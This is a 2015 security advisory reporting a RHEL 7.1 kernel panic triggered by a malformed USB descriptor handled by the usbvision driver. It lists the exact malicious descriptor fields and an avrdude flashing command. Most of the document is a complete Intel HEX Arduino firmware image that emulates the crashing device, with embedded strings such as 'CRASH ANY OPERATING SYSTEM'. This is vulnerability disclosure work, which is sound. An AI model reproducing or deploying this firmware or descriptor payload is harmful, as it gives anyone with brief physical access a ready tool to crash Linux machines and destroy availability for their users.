OpenSource Security Ralf Spenneberg Am Bahnhof 3-5 48565 Steinfurt info@os-s.net OS-S Security Advisory 2015-04 http://www.os-s.net/advisories/DOS-KernelCrashesOnInvalidUSBDeviceDescriptors-UsbvisionDriver.pdf Date: October 7th, 2015 Last Updated: October 7th, 2015 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: not yet assigned CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (usbvision driver) Severity: Critical. The Kernel panics. A reboot is required. Vendor contacted: March 13th 2015 https://bugzilla.redhat.com/show_bug.cgi?id=1201858 Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Abstract The Kernel 3.10.0-123.20.1.el7.x86_64 crashes when presented a buggy USB device which requires the usbvision driver. All subsequently published kernel updates crash as well. Detailed product description We confirmed the bug on the following system: RHEL 7.1 kernel >= 3.10.0-123.20.1.el7.x86_64 Further products or kernel versions have not been tested Description The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: ###[ USB_Device_Descriptor ]### bLength = 18 bDescriptorType= 0x1 bcdUSB = 0x200 bDeviceClass= 0xff bDeviceSubClass= 0 bDeviceProtocol= 0 bMaxPacketSize= 64 isVendor = 0x573 idProduct = 0x4d26 bcdDevice = 0x100 iManufacturer= 1 iProduct = 2 iSerialNumber= 3 bNumConfigurations= 1 This is the configuration descriptor containing the malicious value for bInterfaceNumber causing the crash. Any number but 0 crashes the system. ###[ USB_Configuration_Descriptor ]### bLength = 9 bDescriptorType= 0x2 wTotalLength= 0x27 bNumInterfaces= 1 bConfigurationValue= 1 iConfiguration= 0 bmAttributes= Remote_Wakeup+Self_Powered+Reserved_D7 bMaxPower = 49 ###[ USB_Interface_Descriptor ]### bLength = 9 bDescriptorType= 0x4 bInterfaceNumber= 255 bAlternateSetting= 0 bNumEndpoints= 3 bInterfaceClass= 0xff bInterfaceSubClass= 0x0 bInterfaceProtocol= 0x0 iInterface= 0 ###[ USB_Endpoint_Descriptor ]### bLength = 7 bDescriptorType= 0x5 bEndpointAddress= 0x81 bmAttribut= 0x3 wMaxPacketSize= 1028 bInterval = 12 ###[ USB_Endpoint_Descriptor ]### bLength = 7 bDescriptorType= 0x5 bEndpointAddress= 0x1 bmAttribut= 0x2 wMaxPacketSize= 4 bInterval = 12 ###[ USB_Endpoint_Descriptor ]### bLength = 7 bDescriptorType= 0x5 bEndpointAddress= 0x82 bmAttribut= 0x1 wMaxPacketSize= 4 bInterval = 12 Proof of Concept For a proof of concept we are providing a Arduino firmware file. Just flash it on Arduino Leonardo and plug it into any RHEL machine. The arduino will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The file binary.hex has been attached to this bug report To prevent automated sending of payloads, use a jumper to connect port D3 and 3V3! Severity and Ease of Exploitation The security weakness can be easily exploited. Using our arduino firmware only physical access to the system is required. Vendor Communication We unsuccessfully tried to contact the vendor for several months. We never received any response on our bugtraq ticket: https://bugzilla.redhat.com/show_bug.cgi?id=1201858 Arduino Firmware :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94CC050C943704BA :100030000C94C5000C94C5000C94C5000C94C5002C :100040000C94C5000C94C5000C94C5000C94C5001C :100050000C94C5000C94C5000C94C5000C941602B9 :100060000C94C5000C94C5000C94C5000C94C500FC :100070000C94C5000C94C5000C94C5000C94C500EC :100080000C94C5000C94C5000C94C5000C94C500DC :100090000C94C5000C94C5000C94C5000C94C500CC :1000A0000C94C5000C94C5000C94C50013031603F2 :1000B00009030D033703370337031A031E03220313 :1000C00028032C03370332030000000200080E004F :1000D00000030401000B000000000000000000000D :1000E00000000000000004080201104080401020C1 :1000F00040804080080204018040201002011080EE :100100001020404004040404040304050202020217 :1001100004030202020206060606060604040202A0 :100120000204000000002300260029002C002F00FC :1001300000000000250028002B002E0031000000E8 :100140000000240027002A002D00300000C180811B :1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077 :10016000B1E0E4EEF3E102C005900D92A436B107D0 :10017000D9F725E0A4E6B5E001C01D92AF37B2077C :10018000E1F70E94C8000C940C070C94000008953D :10019000CF93DF93CDB7DEB7CD59D1090FB6F89421 :1001A000DEBF0FBECDBF0E94A9020E94C70060E063 :1001B00083E00E94380361E087E00E94380361E039 :1001C00088E00E9438030E9461067E012AE9E20E5F :1001D000F11C84E093E0D70111969C938E9389E003 :1001E00094E013969C938E93129782E2E2E1F1E001 :1001F0009E012F5F3F4F6901D90101900D928A95B1 :10020000E1F788E1E4E3F1E0DE01939601900D92DD :100210008A95E1F782E1ECE4F1E0DE01DB96019002 :100220000D928A95E1F789E0EEE5F1E0DE01A05953 :10023000BF4F01900D928A95E1F7CE0189599F4FEA :1002400029E0922EDC01E92D1D92EA95E9F78E0155 :1002500009571F4F27E0E7E6F1E0D80101900D9222 :100260002A95E1F7BE0160587F4F27E0EEE6F1E006 :10027000DB0101900D922A95E1F7AE0147585F4FDF :1002800027E0E5E7F1E0DA0101900D922A95E1F728 :100290005E01FEE8AF0EB11C26E0ECE7F1E0D5010F :1002A00001900D922A95E1F79E01235B3F4FEEE00E :1002B000D9011D92EA95E9F7F3E0D9011996FC936B :1002C000DC019C92E4E01196EC931197EFEF12960B :1002D000EC9312971496FC9314971596EC93FC01EB :1002E000D901892D01900D928A95E1F7FE01EC5616 :1002F000FF4FD9011B96FC93EE931A971D96BC9263 :10030000AE921C9711830083738362835583448369 :100310000C5211098CE0F80111928A95E9F781E0FD :10032000D80119968C931997FE01E059FF4F01905F :100330000D929A94E1F7F8013387228761E088E013 :100340000E9471038BE492E00E946D0688E892E0BF :100350000E946D0687EC92E00E946D0686E093E0B5 :100360000E946D0682E493E00E946D068FE793E0A1 :100370000E946D0684EA93E00E946D068BEE93E086 :100380000E946D0683E00E94A703892B09F047C0F5 :100390005E01F3E2AF0EB11C8824839482E1982EB3 :1003A00084E194E00E946D06BF92AF92DF92CF92FB :1003B000FF92EF921F928F921F930F932DB73EB72C :1003C000225131090FB6F8943EBF0FBE2DBFADB715 :1003D000BEB71196FE01FB96892D01900D928A956C :1003E000E1F78DE695E00E940B0668E873E180E096 :1003F00090E00E9483028DE695E00E94560660E040 :1004000087E00E94710368E873E180E090E00E9459 :1004100083020FB6F894DEBF0FBECDBFC1CF6AE036 :1004200070E080E090E00E948302ACCF1F920F92B8 :100430000FB60F9211242F933F938F939F93AF93F7 :10044000BF938091650590916605A0916705B09175 :1004500068053091640523E0230F2D3720F40196C1 :10046000A11DB11D05C026E8230F0296A11DB11DD7 :10047000209364058093650590936605A0936705B6 :10048000B09368058091690590916A05A0916B050C :10049000B0916C050196A11DB11D809369059093E3 :1004A0006A05A0936B05B0936C05BF91AF919F91C6 :1004B0008F913F912F910F900FBE0F901F90189525 :1004C0003FB7F8948091690590916A05A0916B05FA :1004D000B0916C0526B5A89B05C02F3F19F0019679 :1004E000A11DB11D3FBF6627782F892F9A2F620F5C :1004F000711D811D911D42E0660F771F881F991F96 :100500004A95D1F70895CF92DF92EF92FF92CF9361 :10051000DF936B017C010E946002EB01C114D104E6 :10052000E104F10479F00E9460026C1B7D0B683ECF :100530007340A0F381E0C81AD108E108F108C8515E :10054000DC4FECCFDF91CF91FF90EF90DF90CF9019 :100550000895789484B5826084BD84B5816084BD3B :1005600085B5826085BD85B5816085BDEEE6F0E02C :10057000808181608083E1E8F0E010828081826088 :100580008083808181608083E0E8F0E08081816009 :100590008083E1E9F0E080818260808380818160F6 :1005A0008083E0E9F0E0808181608083E1ECF0E02D :1005B000808184608083808182608083808181608B :1005C0008083E3ECF0E0808181608083E0ECF0E008 :1005D000808182608083E2ECF0E0808181608083B2 :1005E000EAE7F0E08081846080838081826080839C :1005F000808181608083808180688083089590E01D :10060000FC013197EE30F10590F5EA5AFF4F0C945A :10061000B309809180008F7703C0809180008F7D27 :1006200080938000089584B58F7702C084B58F7D54 :1006300084BD0895809190008F7707C080919000CD :100640008F7D03C080919000877F809390000895F4 :100650008091C0008F7703C08091C0008F7D809310 :10066000C00008958091C200877F8093C2000895E2 :10067000CF93DF9390E0FC01EA51FF4F2491FC01FE :10068000EC5FFE4F8491882349F190E0880F991F19 :10069000FC01E25CFE4FA591B491805D9E4FFC0190 :1006A000C591D4919FB7611108C0F8948C912095A1 :1006B00082238C93888182230AC0623051F4F8949B :1006C0008C91322F309583238C938881822B888361 :1006D00004C0F8948C91822B8C939FBFDF91CF91B3 :1006E00008950F931F93CF93DF931F92CDB7DEB77B :1006F000282F30E0F901E853FF4F8491F901EA51C6 :10070000FF4F1491F901EC5FFE4F04910023C9F0F3 :10071000882321F069830E94FF026981E02FF0E0C5 :10072000EE0FFF1FE05DFE4FA591B4919FB7F894C7 :100730008C91611103C01095812301C0812B8C9392 :100740009FBF0F90DF91CF911F910F910895CF938D :10075000DF93282F30E0F901E853FF4F8491F9012E :10076000EA51FF4FD491F901EC5FFE4FC491CC23C5 :1007700091F081110E94FF02EC2FF0E0EE0FFF1FBD :10078000EE5DFE4FA591B4912C912D2381E090E078 :1007900021F480E002C080E090E0DF91CF910895E5 :1007A000615030F02091F100FC0120830196F8CFD8 :1007B000289884E680937D0508951092E9001092B0 :1007C00071051092700590936F0580936E050895E2 :1007D000FF920F931F93CF93DF93F82E8B01EA01C3 :1007E000BA01C8010E94AE06F80120E030E08EEFA9 :1007F0002C173D0791F1F7FE02C0A49101C0A08122 :10080000609170057091710540916E0550916F0572 :1008100064177507ACF49091E8009570E1F390913E :10082000E80092FD1CC0A093F100A0917005B0916A :1008300071051196AF73BB27AB2B11F48093E800C1 :10084000A0917005B09171051196B0937105A093B8 :1008500070052F5F3F4F3196CBCFC90102C08FEF9C :100860009FEFDF91CF911F910F91FF9008951F92FD :100870000F920FB60F9211246F927F928F929F92D8 :10088000AF92BF92CF92DF92EF92FF920F931F939E :100890002F933F934F935F936F937F938F939F9388 :1008A000AF93BF93EF93FF93CF93DF93CDB7DEB7B3 :1008B0006297DEBFCDBF1092E9008091E80083FF10 :1008C00046C168E0CE010A960E94D00382EF809371 :1008D000E8009A8597FF05C08091E80080FFFCCF73 :1008E00003C08EEF8093E800892F807609F023C142 :1008F0008B85811105C01092F1001092F10020C18A :10090000282F2D7F213009F41BC1853049F48091B7 :10091000E80080FFFCCF8C8580688093E30010C1E5 :10092000863009F0E1C02D8508891989223009F047 :10093000B3C0EC848E2D90E0209173053091740546 :10094000821793070CF09FC00E94DD031F92EF9265 :100950008DE394E09F938F930E948B068CE0E89E3A :1009600070011124E0917505F0917605EE0DFF1DE3 :1009700089E0DE01119601900D928A95E1F7C80198 :100980000E94DD0349E050E0BE016F5F7F4F80E0D1 :100990000E94E8030F900F900F900F90C12CD12C64 :1009A000612C712C33E7A32E34E0B32E4AEA842E57 :1009B00044E0942EE0917505F0917605EE0DFF1D53 :1009C000818590E0681679060CF0BAC07F926F922C :1009D000BF92AF920E948B06E0917505F09176056B :1009E000EE0DFF1D628573856C0D7D1D49E050E0A5 :1009F00080E00E94E8030F900F900F900F9000E0AE :100A000010E0E0917505F0917605EE0DFF1D028472 :100A1000F385E02DEC0DFD1D818590E00817190789 :100A20005CF51F930F939F928F920E948B06E0912B :100A30007505F0917605EE0DFF1D0284F385E02D1E :100A4000EC0DFD1DC801880F991FA485B585A80F61 :100A5000B91F4D915C910284F385E02DE80FF91FD9 :100A60006081718180E00E94E8030F5F1F4F0F904B :100A70000F900F900F90C5CF8FEF681A780A8EE015 :100A8000C80ED11C97CF8FED94E09F938F930E9457 :100A90008B060F900F9058C0C8012A8B0E94DD036F :100AA0002A892130C1F0233009F04EC08C851F9275 :100AB0008F9389EF94E09F938F930E948B0642E07F :100AC00050E062E871E080E00E94E8030F900F9030 :100AD0000F900F9035C04091000150E060E071E050 :100AE00080E00E94E8032CC0873071F1883021F447 :100AF00081E08093F10024C0893011F5937021F5D5 :100B0000EDE4F1E081E021E096E38093E9002093B9 :100B1000EB0034913093EC009093ED008F5F3196B1 :100B2000843099F78EE78093EA001092EA008C8572 :100B30008093720505C0888999890E94DD0304C0ED :100B40008EEF8093E80003C081E28093EB00629611 :100B50000FB6F894DEBF0FBECDBFDF91CF91FF91EE :100B6000EF91BF91AF919F918F917F916F915F9125 :100B70004F913F912F911F910F91FF90EF90DF9038 :100B8000CF90BF90AF909F908F907F906F900F907D :100B90000FBE0F901F9018951F920F920FB60F92D5 :100BA00011248F939F938091E1001092E10083FFC5 :100BB0000FC01092E90091E09093EB001092EC00CE :100BC00092E39093ED001092720598E09093F000FC :100BD00082FF1AC080917E05882339F080917E05BE :100BE000815080937E05882369F080917D0588235C :100BF00059F080917D05815080937D05811104C05D :100C0000289A02C05D9AF1CF9F918F910F900FBEED :100C10000F901F901895CF93DF93CDB7DEB782E189 :100C2000FE013596A0E0B1E001900D928A95E1F7C2 :100C30008F89988D9093760580937505898D9A8D0F :100C400090937405809373058B8D9C8D90937C0598 :100C500080937B058D8D9E8D90937A058093790589 :100C60008F8D98A1909378058093770510927205E7 :100C700081E08093D70080EA8093D80082E189BD2B :100C800009B400FEFDCF61E070E080E090E00E94DA :100C9000830280E98093D8008CE08093E200109278 :100CA000E000559A209ADF91CF91089581E08093DA :100CB000E00008959091C80095FFFCCF8093CE008E :100CC00008951092CD0087E68093CC0088E1809350 :100CD000C9008EE08093CA0008950F931F93CF93AD :100CE000DF93EC018C01FE0101900020E9F73197C0 :100CF000EC1BFD0BC8018C1B9D0B8E179F0730F45E :100D0000F80181918F010E945A06EDCFDF91CF91BA :100D10001F910F910895CF93DF93CDB7DEB7DA958A :100D20000FB6F894DEBF0FBECDBFFE01EB5FFE4FE6 :100D3000419151919F0160E071E0CE0101960E94C6 :100D40000F07CE0101960E946D06D3950FB6F89459 :100D5000DEBF0FBECDBFDF91CF9108958F929F92DE :100D6000AF92BF92CF92DF92EF92FF920F931F93B9 :100D7000CF93DF9300D0CDB7DEB75B0122E535E03E :100D80003F932F9389839A830E948B068981882EB3 :100D90009A81992E0F900F9000E010E08EE5E82EDA :100DA00085E0F82E91E1C92E94E0D92E0A151B0595 :100DB000E4F4F40181914F0190E09F938F93FF92AF :100DC000EF920E948B060F5F1F4FC8018F7099270B :100DD0000F900F900F900F90892B41F7DF92CF92D9 :100DE0000E948B060F900F90E1CF81E194E09F93DA :100DF0008F930E948B060F900F900F900F90DF91B2 :100E0000CF911F910F91FF90EF90DF90CF90BF9007 :100E1000AF909F908F900895F8940C94F009AEE0F5 :100E2000B0E0E5E1F7E00C94C7098C01CA0146E0A7 :100E30004C831A83098377FF02C060E070E8615039 :100E400071097E836D83A901BC01CE0101960E94C8 :100E50003B074D815E8157FD0AC02F8138854217BF :100E600053070CF49A01F801E20FF31F10822E963B :100E7000E4E00C94E309ACE0B0E0E1E4F7E00C94CA :100E8000B9097C016B018A01FC01178216828381FA :100E900081FFBDC1CE0101964C01F7019381F6019E :100EA00093FD859193FF81916F01882309F4ABC174 :100EB000853239F493FD859193FF81916F018532DD :100EC00029F4B70190E00E942309E7CF512C312C7F :100ED00020E02032A0F48B3269F030F4803259F0F7 :100EE000833269F420612CC08D3239F0803339F4BB :100EF000216026C02260246023C0286021C027FD15 :100F000027C030ED380F3A3078F426FF06C0FAE0FB :100F10005F9E300D1124532E13C08AE0389E300D91 :100F20001124332E20620CC08E3221F426FD6BC1B9 :100F3000206406C08C3611F4206802C0883641F463 :100F4000F60193FD859193FF81916F018111C1CFCE :100F5000982F9F7D9554933028F40C5F1F4FFFE32B :100F6000F9830DC0833631F0833771F0833509F092 :100F70005BC022C0F801808189830E5F1F4F44242B :100F80004394512C540115C03801F2E06F0E711CCE :100F9000F801A080B18026FF03C0652D70E002C07B :100FA0006FEF7FEFC5012C870E9418092C01830188 :100FB0002C852F77222E17C03801F2E06F0E711C9E :100FC000F801A080B18026FF03C0652D70E002C04B :100FD0006FEF7FEFC5012C870E940D092C012C8536 :100FE0002068222E830123FC1BC0832D90E048162D :100FF0005906B0F4B70180E290E00E9423093A94C8 :10100000F4CFF50127FC859127FE81915F01B7019F :1010100090E00E94230931103A94F1E04F1A5108F0 :101020004114510471F7E5C0843611F0893639F561 :10103000F80127FF07C060817181828193810C5F75 :101040001F4F08C060817181882777FD8095982F98 :101050000E5F1F4F2F76B22E97FF09C09095809597 :10106000709561957F4F8F4F9F4F2068B22E2AE079 :1010700030E0A4010E945509A82EA81844C0853765 :1010800029F42F7EB22E2AE030E025C0F22FF97F1E :10109000BF2E8F36C1F018F4883579F0B4C0803790 :1010A00019F0883721F0AFC02F2F2061B22EB4FE87 :1010B0000DC08B2D8460B82E09C024FF0AC09F2F5D :1010C0009660B92E06C028E030E005C020E130E08F :1010D00002C020E132E0F801B7FE07C060817181F3 :1010E000828193810C5F1F4F06C06081718180E017 :1010F00090E00E5F1F4FA4010E945509A82EA8186A :10110000FB2DFF77BF2EB6FE0BC02B2D2E7FA51417 :1011100050F4B4FE0AC0B2FC08C02B2D2E7E05C0D0 :101120007A2C2B2D03C07A2C01C0752C24FF0DC006 :10113000FE01EA0DF11D8081803311F4297E09C082 :1011400022FF06C07394739404C0822F867809F03E :10115000739423FD13C020FF06C05A2C731418F497 :10116000530C5718732C731468F4B70180E290E0A5 :101170002C870E94230973942C85F5CF731410F4E7 :10118000371801C0312C24FF12C0B70180E390E072 :101190002C870E9423092C8522FF17C021FF03C042 :1011A00088E590E002C088E790E0B7010CC0822F8C :1011B000867859F021FD02C080E201C08BE227FD54 :1011C0008DE2B70190E00E942309A51438F4B7011D :1011D00080E390E00E9423095A94F7CFAA94F40187 :1011E000EA0DF11D8081B70190E00E942309A11052 :1011F000F5CF332009F451CEB70180E290E00E9490 :1012000023093A94F6CFF7018681978102C08FEFC8 :101210009FEF2C96E2E10C94D509FC0105906150FA :1012200070400110D8F7809590958E0F9F1F0895FC :10123000FC016150704001900110D8F780959095A5 :101240008E0F9F1F08950F931F93CF93DF93182F37 :10125000092FEB018B8181FD03C08FEF9FEF20C031 :1012600082FF10C04E815F812C813D814217530760 :101270007CF4E881F9819F012F5F3F4F39832883F8 :10128000108306C0E885F985812F0995892B29F7F8 :101290002E813F812F5F3F4F3F832E83812F902FE1 :1012A000DF91CF911F910F910895FA01AA2728305D :1012B00051F1203181F1E8946F936E7F6E5F7F4F23 :1012C0008F4F9F4FAF4FB1E03ED0B4E03CD0670F9F :1012D000781F891F9A1FA11D680F791F8A1F911DF2 :1012E000A11D6A0F711D811D911DA11D20D009F442 :1012F00068943F912AE0269F11243019305D319384 :10130000DEF6CF010895462F4770405D4193B3E06C :101310000FD0C9F7F6CF462F4F70405D4A3318F013 :10132000495D31FD4052419302D0A9F7EACFB4E0C4 :10133000A6959795879577956795BA95C9F700977C :101340006105710508959B01AC010A2E069457951D :10135000479537952795BA95C9F7620F731F841F74 :10136000951FA01D0895EE0FFF1F0590F491E02D2D :1013700009942F923F924F925F926F927F928F9239 :101380009F92AF92BF92CF92DF92EF92FF920F9314 :101390001F93CF93DF93CDB7DEB7CA1BDB0B0FB61E :1013A000F894DEBF0FBECDBF09942A8839884888DB :1013B0005F846E847D848C849B84AA84B984C88471 :1013C000DF80EE80FD800C811B81AA81B981CE0F68 :1013D000D11D0FB6F894DEBF0FBECDBFED0108954D :0413E000F894FFCFAF :1013E4001201000200000040AD0BEFBE000101023B :1013F4000001220342006100640020004200410019 :1014040042004500250078002500780025006E0084 :1014140025007000180342004100440020004300EE :10142400300046004600450045002100120100023C :10143400FF0000407305264D00010102030109026B :10144400270001010000FA0705810304040C0705C5 :10145400010204000C0705820104000C07000700C8 :101464000700480100500072006F006C00690066BC :101474000069006300000A550000006BFD180A00B3 :10148400809F0AB901312B940A8101128946001305 :10149400000257028B0A5E0AF80A5F01F212010089 :1014A40002010000400D055702000101020301B9C9 :1014B4000A0100F80A5F0A810A22034200610064FB :1014C400002000420041004200450025007800252C :1014D40000780025006E00250070001803420041CA :1014E400004400200043003000460046004500450B :1014F40000210012010002010000400D0557020006 :10150400010102030109040000030100000003F2C9 :101514000AEC0A0902270001010000FA01AB0A09DA :101524000400000301000000090200202020202004 :101534005F5F5F5F5F5F5F5F2020202020202020AF :101544002020202020202020202020202020202097 :1015540020205F5F5F5F5F205F5F20205F2020208F :101564002020205F5F0A0D00202020202F205F5FB5 :101574005F5F2F202F5F20205F5F5F5F205F5F5FD3 :101584005F5F20205F5F5F5F5F20202020202F208F :101594005F5F5F2F2F202F5F285F295F5F5F5F2FC3 :1015A400202F5F5F0A0D002020202F202F202020D5 :1015B4002F205F5F205C2F205F5F20602F205F5F04 :1015C400205C2F205F5F5F2F5F5F5F5F205C5F5F4A :1015D400205C2F205F5F2F202F205F5F5F2F202F45 :1015E4002F5F2F0A0D0020202F202F5F5F5F2F20F9 :1015F4002F202F202F202F5F2F202F202F5F2F20F1 :10160400285F5F2020292F5F5F5F2F205F5F2F20DF :101614002F202F5F2F202F202F5F5F2F202C3C0A9D :101624000D0020205C5F5F5F5F2F5F2F202F5F2FF7 :101634005C5F5F2C5F2F5C5F5F5F5F2F5F5F5F5F4F :101644002F20202020202F5F5F5F5F2F5C5F5F2FA4 :101654005F2F5C5F5F5F2F5F2F7C5F7C0A0D002034 :101664003C3C2043485241534820414E59204F505E :1016740045524154494E472053595354454D203EF9 :101684003E0A0D00203C3C202863292053657267E4 :10169400656A20536368756D696C6F20323031352B :1016A4002C204F70656E536F7572636520536563AC :1016B40075726974792052616C66205370656E6E20 :1016C4006562657267203E3E0A0D000A3E3E205068 :1016D4007265737320627574746F6E20746F2073F7 :1016E4007461727420657865637574696F6E2E2EEB :1016F4002E0A0D005B44454255475D2045786563DD :10170400757465207061796C6F616420300A0D0016 :10171400526563762D446174613A0A0D005B444559 :101724004255475D200953656E6420436F6E6669B8 :101734006775726174696F6E4465736372697074FE :101744006F720928696E6465783A2569292E2E2EF0 :101754000D0A005B44454255475D200953656E649C :1017640020496E74657266616365204465736372B3 :101774006970746F720928696E7465726661636555 :101784003A2569292E2E2E0D0A005B444542554701 :101794005D200953656E6420456E64706F696E74D4 :1017A4002044657363726970746F720928656E648E :1017B400706F696E743A2569292E2E2E0D0A005B0E :1017C40044454255475D203C3C70616E6963206D21 :1017D4006F64653F3E3E0D0A005B44454255475DDC :1017E4002009203E3E20537472696E67204465735D :1017F40063726970746F7220726571756573742099 :101804002D2073656E64696E67206D616C666F72FE :101814006D656420737472696E67212073657475D5 :10182400702E7756616C75654C203D3D2025690D01 :101834000A005B48455844554D505D0A0D0025305B :0418440032582000F6 :00000001FF -- OpenSource Security Ralf Spenneberg http://www.os-s.de Am Bahnhof 3-5 48565 Steinfurt Germany Fon: +49(0)2552 638 755 Fax: +49(0)2552 638 757